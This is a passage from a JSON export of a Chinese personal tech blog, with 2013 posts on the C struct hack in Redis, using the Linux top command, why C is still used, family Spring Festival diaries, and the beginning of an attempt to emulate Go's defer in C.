这里省略很多更难实现的家庭目标。\n与工作相比，感觉我在家庭生活上的掌控力更弱一些，让我纠结的事情也更多一些。至于原因么，男人都懂的。\n总体来说，至少从这篇blog的篇幅上来看，2013的目标比2012年要收敛许多，尤其在工作方面。有些事情等做完了再说也未尝不好。\n","permalink":"https://tonybai.com/2013/03/11/2013-plan/","summary":"\u003cp\u003e眼看2013年已经过去1/6了，这个谋划显然有些晚了。之所以晚，根本原因还是之前有些很多事情没有想清楚，即便是现在可能依旧比较朦胧。鉴于去年的目标执行情况不甚理想，尤其是工作目标方面，因此今年在谋划策略方面变得更加务实和收敛，期望能说到做到或做的尽可能的多。\u003c/p\u003e","title":"谋划2013"},{"content":"今天在浏览网友huangz编写的“Redis源码分析”时，看到如下redis中的代码：\nstruct sdshdr {\nint len;\nint free;\nchar buf[];\n};\n说实话，这类代码我见过很多，但直到这次我才知道这种coding trick的真实英文称谓是：Struct Hack。\n到底什么是Struct Hack？其实倒也没有什么明确定义。首先它是一种coding trick；其次一定是与struct相关的；关键是struct中要仅有一个变长的字段，且该字段是struct中最后的一个字段，就像上面 sdshdr中的buf那样。这样的coding trick到底有何作用呢？\n我们来看看redis中是如何利用这种coding trick的。sds是redis string的一种实现，全称是Simple Dynamic Strings，从字面意义来看，这是一种动态字符串，是可以在运行时确定其大小并创建的。我们来看看其创建代码：\ntypedef char *sds;\nsds sdsnewlen(const void *init, size_t initlen) {\nstruct sdshdr *sh;\nif (init) {\nsh = zmalloc(sizeof(struct sdshdr)+initlen+1);\n} else {\nsh = zcalloc(sizeof(struct sdshdr)+initlen+1);\n}\nif (sh == NULL) return NULL;\nsh-\u0026gt;len = initlen;\nsh-\u0026gt;free = 0;\nif (initlen \u0026amp;\u0026amp; init)\nmemcpy(sh-\u0026gt;buf, init, initlen);\nsh-\u0026gt;buf[initlen] = \u0026lsquo;\\0\u0026rsquo;;\nreturn (char*)sh-\u0026gt;buf;\n}\nsdsnewlen在分配内存时，一次分配的内存大小不仅仅是sizeof(struct sdshdr)，而是加上了真正存储字符串的buf的大小，并将buf作为返回值返回，sds就是buf，buf就是sds。这样通过sdshdr实例， 我们可以直接获得其对应的sds，也就是buf。更为关键的一点是，如果我已知sds，我们还可以获得其对应的sdshdr（huangz在文中称 sdshdr是sds handler的缩写，我倒是觉得hdr更像是header的缩写），见下面代码：\nstatic inline size_t sdslen(const sds s) {\nstruct sdshdr *sh = (void*)(s-(sizeof(struct sdshdr)));\nreturn sh-\u0026gt;len;\n}\n这种trick给代码带来的极大的效率。想象一下如果redis的sdshdr定义是这样的：\nstruct sdshdr {\nint len;\nint free;\nchar *buf;\n};\n/* sdsnewlen */\nstruct sdshdr *sh;\nsh = zmalloc(sizeof(struct sdshdr));\nmemset(sh, 0, sizeof(*sh));\nsh-\u0026gt;buf = zmalloc(initlen+1);\n…\n看起来似乎也能在运行时实现buf的动态size指定，但sdshdr与sds之间的纽带就被彻底割裂了（当然你也可以在 malloc sh时将buf内存也一并分配出来，然后手工将buf指向struct外的内存首地址，不过一旦这么做，就显得不那么tricky了）。\n另外这里要探讨的是最后那个字段buf，是声明为buf[]好，还是buf[0]好，又或是buf[1]呢？redis使用的是buf[]，在C99中这 是绝对合法的，这种定义被称为variable-length arrays(变长数组)。由于下标为空，这里的buf就好像是一个占位符，只有符号意义，但却并不实际占用空间。32bit平台下 sizeof(struct sdshdr) = 8，显然没有buf的份儿。不过在C99以前的标准中，是不允许变长数组出现的，你的Gcc很可能出现如下警告：“ISO C90 不允许可变数组成员”。不过C99以前很多编译器的扩展默认都是支持变长数组的，这也是这种trick之前就大行其道的原因之一，只不过是在C99之后变 得名正言顺了罢了。\n如果将buf[]改为buf[0]呢？在C99以及支持变长数组扩展的编译器下也都是等同于buf[]的，不过C99以前的标准编译器还是会警告：ISO C 不允许大小为 0 的数组‘buf’ [-pedantic]。\n用buf[1]替代buf[]则是一个兼容性最好的方案。在一些其他开源代码中，你也会常见buf[1]这种情形，如果以redis hds代码为例，我们用buf[1]替代buf[0]：\nstruct sdshdr {\nint len;\nint free;\nchar buf[1];\n};\n相应的，sdsnewlen的代码以及sdslen中通过sds获取sdshdr的代码就应该做相应的修改了，简要修改如下：\n/* sdsnewlen */\n…\nsds sdsnewlen(const void *init, size_t initlen) {\nstruct sdshdr *sh;\nif (init) {\nsh = zmalloc(sizeof(struct sdshdr) – 1 + initlen + 1);\n} else {\nsh = zcalloc(sizeof(struct sdshdr) – 1 + initlen + 1);\n}\nif (sh == NULL) return NULL;\nsh-\u0026gt;len = initlen;\nsh-\u0026gt;free = 0;\nif (initlen \u0026amp;\u0026amp; init)\nmemcpy(sh-\u0026gt;buf, init, initlen);\nsh-\u0026gt;buf[initlen] = \u0026lsquo;\\0\u0026rsquo;;\nreturn (char*)sh-\u0026gt;buf;\n}\n…\nstatic inline size_t sdslen(const sds s) {\nstruct sdshdr *sh = (void*)(s-(offsetof(struct sdshdr, buf)));\nreturn sh-\u0026gt;len;\n}\n注意：使用这种coding trick为的就是获得一种运行时的动态行为，struct的大小也是动态的（这种struct的声明是一种incomplete type），所以这种struct都是在堆上分配内存的，在栈上分配显然是没有标准可移植的方法的；同样，由于是size不确定的incomplete type，这种struct一般不用于声明struct数组。\n","permalink":"https://tonybai.com/2013/03/07/struct-hack-in-c/","summary":"\u003cp\u003e今天在浏览网友\u003ca href=\"http://huangz.me/\"\u003ehuangz\u003c/a\u003e编写的“\u003ca href=\"https://right-track-wrong-train.readthedocs.org/en/latest/storage/redis_code_analysis/index.html\"\u003eRedis源码分析\u003c/a\u003e”时，看到如下\u003ca href=\"http://redis.io/\"\u003eredis\u003c/a\u003e中的代码：\u003c/p\u003e\n\u003cp\u003estruct sdshdr {\u003cbr\u003e\n    int len;\u003cbr\u003e\n    int free;\u003cbr\u003e\n    char buf[];\u003cbr\u003e\n};\u003c/p\u003e\n\u003cp\u003e说实话，这类代码我见过很多，但直到这次我才知道这种coding trick的真实英文称谓是：Struct Hack。\u003c/p\u003e\n\u003cp\u003e到底什么是Struct Hack？其实倒也没有什么明确定义。首先它是一种coding trick；其次一定是与struct相关的；关键是struct中要仅有一个变长的字段，且该字段是struct中最后的一个字段，就像上面 sdshdr中的buf那样。这样的coding trick到底有何作用呢？\u003c/p\u003e","title":"也谈C语言的Struct Hack"},{"content":"相信很多人和我一样，top是自己日常使用最多的linux资源查看工具。不过仅限于一些简单的日常场景罢了：敲入top命令，看看哪些进程占用 CPU较多，然后对这些CPU占用较多的进程逐一处理一下。显然这样使用top有些大才小用了。\n以前在监控工具使用方面总是浅尝辙止，并未做过多深入研究。近来愈来愈觉得有必要针对几种常用工具好好学习一下了。而top便首当其冲。top是一款 以查看进程(task)信息为中心的Linux系统性能监控工具，通过top我们可以查看到进程相关的cpu和内存占用相关的实时采样信息，因此 top尤其适合用于持续跟踪分析某些进程对系统cpu和内存的占用情况以及对系统负荷的影响。\n入门\ntop的入门使用极其简单，就像前面所说的简单地的输入\u0026quot;top\u0026quot;，我们就能看到top的输出了。\ntop – 06:35:47 up 7 min, 3 users, load average: 1.00, 1.18, 0.67\nTasks: 189 total, 2 running, 186 sleeping, 0 stopped, 1 zombie\nCpu(s): 30.5%us, 7.6%sy, 0.0%ni, 60.5%id, 1.5%wa, 0.0%hi, 0.0%si, 0.0%st\nMem: 1534164k total, 1423392k used, 110772k free, 67328k buffers\nSwap: 999420k total, 144k used, 999276k free, 576924k cached\nPID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1954 tonybai 20 0 316m 55m 26m S 26 3.7 0:36.53 compiz 2308 tonybai 20 0 499m 84m 39m S 13 5.6 1:07.63 chrome\n… …\ntop的输出大致分为上下两个部分，上半部分输出到是系统的总体负荷信息，下半部分则是分进程列出进程的各种属性信息。\n总体负荷信息由五行组成：\n第一行：top – 06:35:47 up 7 min, 3 users, load average: 1.00, 1.18, 0.67。\n这行的输出与uptime命令是一样一样的，不信你可以单独执行一下uptime命令。我怀疑top就是直接调用uptime或使用uptime部分代码 得到的，毕竟它们都是procps（procps is the package that has a bunch of small useful utilities that give information about processes using the /proc filesystem.）工具集合的一员。这行输出了当前时间( 06:35:47)、自系统启动以来的累计时间(7 min)，当前系统用户数(3 users)，1分钟，5分钟以及15分钟的平均负荷( load average: 1.00, 1.18, 0.67)。\n第二行：Tasks: 189 total, 2 running, 186 sleeping, 0 stopped, 1 zombie。\n系统的进程信息汇总，包括总数以及处于各种状态的进程数量。\n第三行：Cpu(s): 30.5%us, 7.6%sy, 0.0%ni, 60.5%id, 1.5%wa, 0.0%hi, 0.0%si, 0.0%st。\n系统的CPU信息汇总，包括us(CPU用于运行用户空间进程的时间所占比例，不包括renice的用户进程)、sy(CPU用于运行内核进程的时间所占 比例)、ni(CPU用于运行用户空间被renice的进程的时间所占比例)、id（CPU空闲时间所占比例）、wa(CPU等待I/O完成时间所占用的 比例)、hi（处理硬件中断时间所占比例）、si(处理软中断时间所占比例)、st(虚拟机管理程序为其他task而从本虚拟机\u0026rsquo;偷取\u0026rsquo;的CPU时间所占 比例)。\n第四行和第五行：\nMem: 1534164k total, 1423392k used, 110772k free, 67328k buffers\nSwap: 999420k total, 144k used, 999276k free, 576924k cached\n系统的内存以及交换区信息汇总，包括内存总量(mem total)、已使用内存(mem used)、空闲内存(mem free)以及交换区总量(swap total)、交换区使用量(swap used)、交换区空闲(swap free)。这里还有两个值buffers和cache，它们是内核使用的内存缓存，均是用于减少磁盘读取，提升系统性能的。buffers代表有多少内 存用于缓存磁盘数据块，目的是减少写磁盘次数；cache用于缓存从磁盘文件读取的数据，以减少读磁盘次数。\n下半部分是进程属性信息展示区。默认情况输出的进程属性包括：\nPID(进程ID)\nUSER(进程所有者的用户名)\nPR（进程的动态优先级)\nNI（Nice值，进程的base priority）\nVIRT (进程的虚拟内存用量，包括进程的二进制映像大小、数据区以及所有加载的共享库占用的size， = SWAP + RES)\nRES（进程使用的、未被换出的物理内存大小,= CODE + DATA)\nSHR(共享内存区域大小)\nS（进程状态)\n%CPU（上次刷新到现在运行该task的CPU时间所占百分比）\n%MEM（当前task所占用的内存百分比）\nTIME+ （自task启动后所使用的CPU时间累计）\nCOMMAND （task对应的二进制程序名）\n定制输出\ntop提供了强大的输出定制功能，无论是上半部分的系统整体负荷信息还是下半部分的进程属性信息展示都是可以根据使用的需求定制的。\n整体负荷信息展示区的定制：\n- 第一行展示/隐藏：通过点击键盘上的\u0026rsquo;l\u0026rsquo;键可以展示或隐藏第一行信息输出\n- Task和CPU信息展示/隐藏：通过点击键盘上的\u0026rsquo;t\u0026rsquo;键可以展示或隐藏Task和CPU行输出\n- Mem和Swap信息展示/隐藏：通过点击键盘上的\u0026rsquo;m\u0026rsquo;键可以展示或隐藏Mem和Swap行输出\n进程属性信息的显示定制：\n默认情况下，我们可以看到top会显示进程的若干属性，包括PID、USER、PR、NI 、VIRT 、RES 、SHR、S、%CPU以及%MEM等。不过这些也仅仅是默认的而已，如果你不关住其中一些属性或关注其他一些属性，你完全可以自定义输出显示的进程属 性。点击键盘上的\u0026rsquo;f\u0026rsquo;键，top将为我们打开field选择页面：\nCurrent Fields: AEHIOQTWKNMbcdfgjplrsuvyzX for window 1:Def\nToggle fields via field letter, type any other key to return\n* A: PID = Process Id 0×00002000 PF_FREE_PAGES (2.5)\n* E: USER = User Name 0×00008000 debug flag (2.5)\n* H: PR = Priority 0×00024000 special threads (2.5)\n… …\n页面左侧列出了可选的所有进程属性。其中前面有*前缀的是当前已经选择的属性，比如PID。不过你可以通过点击PID对应的开关键\u0026rsquo;A\u0026rsquo;来取消对PID的 选择；同样你也可以点击未选择属性前面的开关键来选择对应的属性，比如敲击\u0026rsquo;p\u0026rsquo;来选择SWAP属性。定制完毕后回车回到top主页面，你就会看到你定制 后的结果了。\n保存你的定制\n如果你不想每次都在top启动后重新做定制操作，那就将你的定制保存到top的用户配置文件中。在定制后的top主页面上输入：\u0026lsquo;W\u0026rsquo;，top会提示你：Wrote configuration to \u0026lsquo;/home/tonybai/.toprc，也就是说top会将你的定制保存在你的~/.toprc中。重启top看看，是否依旧是上次你定制后的结果呢^_^。\n多视图\n默认情况下top为我们打开了一个视图。不过top可不止支持一个视图。敲入\u0026rsquo;A\u0026rsquo;看看会发生什么？没错，你会看到上下分割的四副视图，另外在整个窗口的 左上角会出现反白的'1:Def\u0026rsquo;，这是一个active视图的提示文字。反复输入\u0026rsquo;w\u0026rsquo;，top会在各个视图间切换，左上角会在'1:Def\u0026rsquo;、 \u0026lsquo;2:Job\u0026rsquo;、\u0026lsquo;3:Mem\u0026rsquo;和'4:Usr\u0026rsquo;之间切换。‘1:Def\u0026rsquo;是默认视图，以CPU占用高低对task进行排序；\u0026lsquo;2:Job\u0026rsquo;这个视图看起 来比较陌生，里面展示的task多是些系统服务或内核线程；\u0026lsquo;3:Mem\u0026rsquo;视图则是以Mem占用高低对task进行排序；\u0026lsquo;4:Usr\u0026rsquo;视图则是按用户名 展示task。用\u0026rsquo;w\u0026rsquo;切换到某个视图后，可以输入\u0026rsquo;A\u0026rsquo;将该active视图放大为单视图铺满窗口。在多视图展示的情况下，还可以输入\u0026rsquo;-\u0026lsquo;来隐藏/展 示某种视图。另外这种多视图的配置也是可以保存在.toprc中的。\n批处理模式\n平时我们更多用的是在交互模式下运行的top，但交互模式下的数据无法记录下来，不便于事后分析，不过top的批处理模式可弥补这一不足。\n执行top -b，即可让top以批处理模式运行。默认情况下top会不断重复执行，似乎批处理模式意义不大。不过我们可以限定批处理模式的运行间隔和运行次数，默认情况下top运行/更新间隔为3s，运行次数为无限制。我们可以通过一些命令行参数来设定这两个值，比如：\n$\u0026gt; top -b -d 1 -n 10\n-d 用来设置更新间隔为1s；而-n 则设置批处理运行10次。\n默认情况下top输出的task太多，我们可以通过指定相关进程或指定user来将关注面缩小，比如：\n$\u0026gt; top -b -p 2500 -p 2501 -d 1 -n 10\n这个命令只是会输出2500和2501这两个进程的相关信息。\n$\u0026gt; top -b -u www-data -d 1 -n 10\n这个命令只会输出www-data这个用户下的所有进程相关信息。\n即便在批处理模式下，top依旧会输出整体负荷信息。这样一来对后续的数据后处理会带来些麻烦。一个好的方法是先定制top，再做批处理执行。比如先用 l,m,t把top的整体负荷信息都关闭掉，再定制好要关注的进程属性，保存到toprc中；之后再批处理运行top（可将输出结果重定向到某个数据文件 中），我们得到的数据就会比较规整，处理起来也十分方便了。\n","permalink":"https://tonybai.com/2013/03/02/deep-into-top/","summary":"\u003cp\u003e相信很多人和我一样，top是自己日常使用最多的linux资源查看工具。不过仅限于一些简单的日常场景罢了：敲入top命令，看看哪些进程占用 CPU较多，然后对这些CPU占用较多的进程逐一处理一下。显然这样使用top有些大才小用了。\u003c/p\u003e","title":"玩转top"},{"content":"本文翻译自Dr. Dobb\u0026rsquo;s杂志主编Andrew Binstock的文章“Why Code in C Anymore?”，以下是翻译正文。\n传统的那些选择C而不是C++的理由的说服力已经逐渐地被削弱。还有什么继续使用C的更好的理由么？\n一个 Dr. Dobb\u0026rsquo;s的老读者最近问我：为何人们还在使用C编程。这个话题最近曾在我们站点的评论中出现过。早期也曾出现在与一些行业公司的对话过程中，尤其是微 软。在C++早期，根据你的需要，你可以有许多使用C或C++的理由；但随着C++的演化，C的大量传统的杰出特性已经变得不那么优越了。考虑到 这些点一般是在比较两门编程语言时首先会被考虑到的，因此我们来一起看一下。\n性能。通常我们都认为C++应用的性能要比C的慢。但在大多主流平台上，这个性能上的差距在今天已经变得非常小了。比 如，Alioth上的计算机基准测试报告显示C++(运行在32位Linux上)在运行基准测试时的性能要比C慢27%。其他一些研究结果显示这个差 距或略大或略小些。但在几乎所有例子中，C++都是仅次于C的运行第二快的编程语言。它通常要比运行在JVM和.NET平台上的语言快出很多。因 此，尽管C在基准测试上依旧保持有优势，但对于大多已经可以接受Java性能的应用(比如企业应用或面向客户端的应用)而言，这个差距显得并不是那么重要 了。\n普遍性。在嵌入式编程领域，C仍然保持着首选语言的舒适地位，这缘于这样一个事实：每个硬件供货商都会提供一个C编译器。而大家普遍 也认为C++在嵌入式开发方面表现没有那么强势。不过，当今大多提供编程工具的组件供货商也提供了C++编译器。(但PIC微控制器方面继续保持 着例外)。这是一个正在逐渐缩水的好处。\n可移植性。C++曾被认为是一个可移植的老大难（实际上在C89标准出台以前，C也是一个老大难）。然而，当今的编译器对C++语 言的核心实现的十分充分，以至于大多软件可以通过重新编译进行移植，不需要什么调整。如果真的需要进行调整的话，请提供像Brian Kernighan曾经说过的那样的使用语言中段的代码（译注：所谓语言中段的代码，即那些平台无关，不涉及可移植性的代码语法和元素）。库的可移植 性是一个更令人头疼的因素，不过C库也存在同样的问题。在C和C++中，编译器的标准遵守程度迥异，因此使用那些没有获得全面支持的新特性 (C99、C11以及C++11）将会是一个内在的风险。也就是说，C89可能是世界上最具可移植性的代码了。(为此，当可移植性成为最关心的事 情的时候，我们将选择它。例如，Lua团队就因此选择了C，当然也同样考虑到了性能因素)\n应该说从性能、普遍性以及可移植性方面来讲，C仍然对C++保持着优势，但这种优势正在逐步缩小。在这点上，C++社区做得非常出色，他们让用户 去处理那些实质性问题并采纳。问题是：这些缩水的优势对C++的好处是种补偿吗？这些好处包括面向对象，异常处理，更好的类型管理，模板，更丰富 的标准库等等。没有了这些好处，每个用C实现的工程可能感觉起来就像尝试用一柄剪刀去修剪草坪。\n那些特性无疑有助于代码编写，但却要因此付出代价 – 复杂性，这也是C有别于C++的重要之处。C是为数不多的几种规模短小、足够简洁的通用编程语言，你可以轻松掌握其全部内容。事实上我们确实可能需要 完整地了解一门语言的全部细节，并且还要充分了解其标准库，达到无需查看API手册即可使用的程度。我不相信这在其他主流语言中是可行的，C++，当然不行。\n短小是语言的吸引力之一。你可以快速学习它并快速成为有效率的开发者。简洁则因另一个较少被谈及的特性而被提高：极致的语言可读性。我这里指的是 语义上而不是语法上的。在语义方面，C中做某件事情的方法是有限的。因此，当你阅读代码时，无论是谁编写的代码，你会确切地知道代码的行为。相反，C++ 做同一件事情有很多种方法 – C++开发者喜欢的一种灵活性。正是由于C在这方面的清晰，它才成为一门用于编写复杂基础设施的卓越编程语言。也正是这个原因，JRockit JVM（现在Oracle的主要JVM）的原始作者选择了C。在几年前的一段对话中，他们阐述了他们选择C而不是C++的观点：他们可以更快速获得开发 者；当深入到代码中时，他们可以比使用C++更容易地理解这些代码。\n仅凭这一点，C语言仍然是系统层代码的一个极佳选择：它快速，可移植，易于阅读和理解。对于那些更加强调开发效率的应用，无疑C++将继续在原生语言中占据主导位置，并且很可能扩大其足迹。\n","permalink":"https://tonybai.com/2013/02/27/why-code-in-c-anymore/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"http://www.drdobbs.com/\"\u003eDr. Dobb\u0026rsquo;s杂志\u003c/a\u003e主编Andrew Binstock的文章“\u003ca href=\"http://www.drdobbs.com/cpp/why-code-in-c-anymore/240149452\"\u003eWhy Code in C Anymore?\u003c/a\u003e”，以下是翻译正文。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e传统的那些选择C而不是C++的理由的说服力已经逐渐地被削弱。还有什么继续使用C的更好的理由么？\u003c/strong\u003e\u003c/p\u003e","title":"为什么还用C编程？"},{"content":"我叫果果，现在两岁零9个月了。我的身高快到1米了，人家都说我长得又高又大^_^，我比邻居家的小哥哥还要高，要知道他可比我年长8个月呢。\n最近我很开心，因为我和爸爸妈妈一起回老家与爷爷奶奶过春节了。春节是什么，我还不是很清楚。但我的印象中一到春节周围的人都很开心，家家户户都挂上了红灯笼，门上都贴着福字和对联，还燃放那种让我怕怕的很响的鞭炮。春节最让我高兴的是爸爸妈妈都不用去上班了，可以天天陪我一起玩，给我买好吃的，还有新衣服穿，新书看，新玩具玩^_^。春节前爸爸妈妈都很忙，每天都加班，很晚才会来，我可想他们了，每天都盼望他们早点下班回家。\n听爸爸说，这是他结婚后第一次回爷爷奶奶家过年，也是第一次带我回家过年，他很高兴。我也高兴，因为我的语言能力已经有了很大提高了，我可以用语言表达我的意思了，可以和爷爷奶奶聊天了^_^，只是我的吐字还不那么清晰，也不知道我说的话爷爷奶奶能不能听懂^_^。\n记得我是坐爸爸的车回老家的。爸爸的车开得好快，要比平时我看到的马路上的车快多了，据妈妈说这是高速公路，让我有些小兴奋哦。奶奶和爷爷老早就在门口等着我们呢。我一年到头与爷爷奶奶见面的次数都很有限，不过不知道为什么，一见到爷爷奶奶我就感到很亲切，很喜欢让他们抱抱我^_^。爷爷准备了我最爱吃的菜，那天我没让妈妈喂我，我是自己吃的，让爷爷奶奶看看我长大了，我吃的很饱。\n除夕那天我和爸爸妈妈又去奶奶家了，听说除夕是一大家人团圆的日子。这回我们一家五口人算是真正团圆了。这天爷爷做的菜比以往都要多得多，我们都没有吃完，还剩了好多菜，爷爷做的菜真好吃。晚上我还吃到爷爷奶奶包的饺子了，特别香。大人说除夕夜都要吃饺子。我还不会包，长大一定和奶奶学，给他们包上一顿饺子，他们一定很开心。\n**初一。**爸爸妈妈给我穿上了新衣服。爸爸妈妈一见到奶奶爷爷就行礼拜年，他们拜后，还让我拜。这可是我第一次拜年，还不是很熟练。不过之前姥姥教我好几遍了，于是我就说：“爷爷奶奶过年好，祝你们身体健康，长命百岁”。说完后，我看爷爷奶奶都特别高兴，还给我压岁钱了呢。\n初二。爸爸妈妈带我去了爸爸的姥姥家。爸爸的姥姥家地方不大，但里面的人可真多，大家都微笑着瞅我，弄得我怪不好意思的。妈妈爸爸让我拜年，我就把姥姥教给我到拜年话说了很多遍，说得我口都渴了，不过好多人给我压岁钱，我还是蛮高兴的。让我更高兴的是我的两个小姐姐也来了，这样我就可以和她们一起玩了，我们一起玩走迷宫，一起玩涂鸦，好开心的。今天的午饭好丰盛哦，比除夕那天爷爷做的菜种类还要多出一倍。不过我是小孩，不能上桌，于是妈妈就把我爱吃的菜挑出来喂我^_^。我特别喜欢喝露露，不过每次我说要喝露露，他们都开心的笑，似乎我的发音不准，把“露露”发音成“怒怒”了^_^。\n初三和初四两天我比较忙，一直都跟着爸爸妈妈到处走亲访友，所到之处我都成为了大家的关注焦点。\n好不容易会一趟老家，我要多陪陪奶奶和爷爷，于是我初五一整天都和奶奶爷爷在一起。爷爷还给我炖了一只笨鸡，不过我还是喜欢菜里的蘑菇，因为鸡肉我嚼不烂:(。晚上爸爸还实现了一个他对我的承诺：放烟花给我看。爸爸说小烟花是不出响的，不用害怕。爸爸一共给我放了8个小烟花，都特别好看。\n一转眼就到初六了，年过得真快啊，爸爸妈妈的假期要结束了，今天我们就要返回沈阳了。爷爷奶奶和姥爷给我们拿了好多东西，大包小裹的，我也不知道是啥，估计都是吃的吧，把爸爸车的后备箱装得满满登登的。车开走了，也不知道下次何时回来探望爷爷奶奶和姥爷。初六中午我们就回到沈阳的家里了。家里可真是热，我只穿一套衬衣衬裤还冒汗呢，爸爸说屋里温度有28度。由于这几天每天都有好吃的，我脸上都起痘痘了，爸爸说可能是吃鱼虾多过敏了，于是让我改吃青菜了。\n初七。爸爸似乎还想多在家里陪陪我，于是他又请了一天假，我真高兴。妈妈还有两天假，我还可以与爸爸妈妈一起玩。\n初八。爸爸上班了。不过妈妈在家。妈妈这两天一直守着电视，看那个叫“甄寰传”的电视剧，从这个台调到那个台，看得不亦乐乎。还好，昨天爸爸给我买了新拼插玩具，够我玩上一阵子的。\n最近天气也转暖了。爸爸说春天快来了，外面的冰雪也开始融化了。姥姥说下个月又要送我上幼儿园了，在家里待了这么多天，不知道还能不能适应幼儿园的环境了。唉，焦虑啊。\n下面是爸爸妈妈在春节期间用手机给我拍的一些照片，大家看看我是不是长大了^_^。\n出水芙蓉^_^\n今儿真高兴儿！\n","permalink":"https://tonybai.com/2013/02/18/my-daughter-monologue-about-2013-spring-festival/","summary":"\u003cp\u003e我叫果果，现在两岁零9个月了。我的身高快到1米了，人家都说我长得又高又大^_^，我比邻居家的小哥哥还要高，要知道他可比我年长8个月呢。\u003c/p\u003e\n\u003cp\u003e最近我很开心，因为我和爸爸妈妈一起回老家与爷爷奶奶过春节了。春节是什么，我还不是很清楚。但我的印象中一到春节周围的人都很开心，家家户户都挂上了红灯笼，门上都贴着福字和对联，还燃放那种让我怕怕的很响的鞭炮。春节最让我高兴的是爸爸妈妈都不用去上班了，可以天天陪我一起玩，给我买好吃的，还有新衣服穿，新书看，新玩具玩^_^。春节前爸爸妈妈都很忙，每天都加班，很晚才会来，我可想他们了，每天都盼望他们早点下班回家。\u003c/p\u003e","title":"果果的蛇年春节独白"},{"content":"此时此刻，离2013年农历蛇年还有3天了。外面零星地飘起了雪花，也好，这可以让城市的空气变得更加清新。办公室里早已不复以往的“喧嚣”，大家工作的 积极性也不再那么高涨，这的确不是一个比拼职业性的好时候；会议室里灯也都是关着呢，大家似乎已经没什么心情开会了。约1/4的工位已经空了，也许明天后 天这个比例就会变成1/3或者1/2；街上的车流感觉也没有以前那么多了，这一切一切都预示着中国人的农历春节即将到来了。而我，则对这个春节充满了期 待！\n这将是我结婚后后第一次回老家过年（主要指和父母一起过除夕，包饺子，吃年夜饭），也是果果第一次回奶奶爷爷家过年。掐指算来，已经有三个春节没能和父母 一起度过除夕了，作为家里的独生子，一想到这里心里难免会有愧疚。因此，这次回家过年，让我着实有了一些小兴奋，想必老俩口也会十分开心。\n今年家里还是发生了一些事情的。一是母亲做了眼睛手术，目前恢复的尚还不错，至少远离了患处发作时的痛楚，我在远方也能安心些。另外，父母的新房子今年也完成了装修，五月花开时，老俩口将会乔迁新居。不过今年这个农历春节我们还是会在老房子里过，等到农历2014马年的时候，我们应该就会在新房子里守岁了。\n为了这个年，女儿也是做了准备了的。由于语言能力突飞猛进，果果已经具备了在奶奶爷爷面前表演的基本要求。在幼儿园，果果学会了跳舞、数数和背诵诗词，这些回家后都要给爷爷奶奶表演一番。为此，我还特意与女儿一起做了“彩排”。另外节日里的礼貌用语果果也是要学习的，小家伙倒是学得挺开心。女儿的唯一要求 就是看爸爸放烟花给她看^_^。\n每每想象一下除夕夜一家五口其乐融融的情形，心里就甭提多欢乐了。估计8号，也就是后天我们也要踏上回家的路了。希望旅途平安，一切顺利的回到父母身边。 希望这个春节我们能过得美美满满，温温馨馨，快快乐乐；希望果果能够更多地与家里人熟悉，真切地感受到我们这个大家庭的绵绵亲情。\n","permalink":"https://tonybai.com/2013/02/06/look-forward-to-spring-festival/","summary":"\u003cp\u003e此时此刻，离2013年农历蛇年还有3天了。外面零星地飘起了雪花，也好，这可以让城市的空气变得更加清新。办公室里早已不复以往的“喧嚣”，大家工作的 积极性也不再那么高涨，这的确不是一个比拼职业性的好时候；会议室里灯也都是关着呢，大家似乎已经没什么心情开会了。约1/4的工位已经空了，也许明天后 天这个比例就会变成1/3或者1/2；街上的车流感觉也没有以前那么多了，这一切一切都预示着中国人的农历春节即将到来了。而我，则对这个春节充满了期 待！\u003c/p\u003e","title":"期待过年"},{"content":"Go语言中引入了一个新的关键字defer，个人认为这个语法关键字让异常处理也变得得心应手许多，对改善代码的可读性和可维护性大有裨益，是典型的语法棒棒糖^_^。\n像下面这种代码（伪代码）：\nvoid foo() {\napply resource1;\nretv = action1;\nif not success\nrelease resource1\napply resource2;\nretv = action2;\nif not success\nrelease resource1\nrelease resource2\n}\n有了defer后，代码就变得优美多了。\nvoid foo_with_defer() {\napply resource1;\ndefer (release_resource1)\nretv = action1;\nif not success\nreturn\napply resource2;\ndefer (release_resource2)\nretv = action2;\nif not success\nreturn\n}\n如果能在C语言中实现defer这样的语法糖，那该多棒！是否可行呢？经过一段时间钻研，找到一个不那么美的实现方法，约束也很多，也不甚严谨， 谈不上什么可移植性，切不可用到产品环境，权当一种探讨罢了。\nGo中defer的语义大致是这样的：\n* 在使用defer的函数退出前，defer后面的函数将会被执行；\n* 如果一个函数内有多个defer，那么defer按后进先出（LIFO）的顺行执行；\n* 即使发生Panic，defer依然可以得到执行\n最后一个比较难于模拟，这里仅先尝试前两个语义。下面从设计思路说起。\n* “借东风”\n要想模拟defer，首先要考虑的一点那就是defer后的语句是在函数return之前执行的。在标准C中，我们无任何举措可以实现这些。要在 C中实现defer，势必要借用一些编译器扩展特性，比如Gcc的扩展。这里实验所使用的编译器是Gcc(4.6.3 (Ubuntu 12.04))。Gcc扩展支持-finstrument-functions编译选项，该选项可以在函数执行前后插入一段运行代码。在之前写过的一篇名 为“为函数添加enter和exit级trace”的文章中对此有较为详细的说明，这里我们还要用到这个扩展特性。\n* 偷天换日\n如果完全模仿Go的语法，在C中使用defer，大致是这样一种形式：\nvoid foo(void) {\nFILE * fp = NULL;\nfp = fopen(\u0026ldquo;foo.txt\u0026rdquo;, \u0026ldquo;r\u0026rdquo;);\nif (!fp) return;\ndefer(fclose(fp));\n/* use fp */\n… …\nreturn;\n}\n但C毕竟是C，一门静态的编译型语言，我们如何将fclose(fp)这个信息传递给编译器自动插入的代码中呢？在C语言中，几乎没有手段获得函 数的元信息以及运行时参数信息，并再通过这些信息重新调用和执行该函数。我们得“想招”将这些信息存储起来。\n大家知道C语言中的函数，比如这里的fclose，其实是一个函数起始地址；如果我们知道函数地址或又叫函数指针，再加上函数的参数，我们就可以 拼凑在一起执行该函数了。但理论上来说，函数指针也是有类型的，比如：\ntypedef int (*FUNC_POINTER)(int, int);\n这个函数指针类型可以用来执行诸如：int foo(int a, int b)这样的函数，比如：\nFUNC_POINTER fp = foo；\nfp(1, 2);\n但defer后面执行的函数千差万别，我们如何能够得知函数对应的函数指针类型呢？用void*存储？比如：\nvoid *p = foo;\np(1, 2);\n编译器会给你一个严重错误！p不是函数指针，不能这么用。那我们如何能让编译器知道这个指针是一个可调用的函数指针呢？我们试试来定义一个“通用 的函数指针”：\ntypedef void 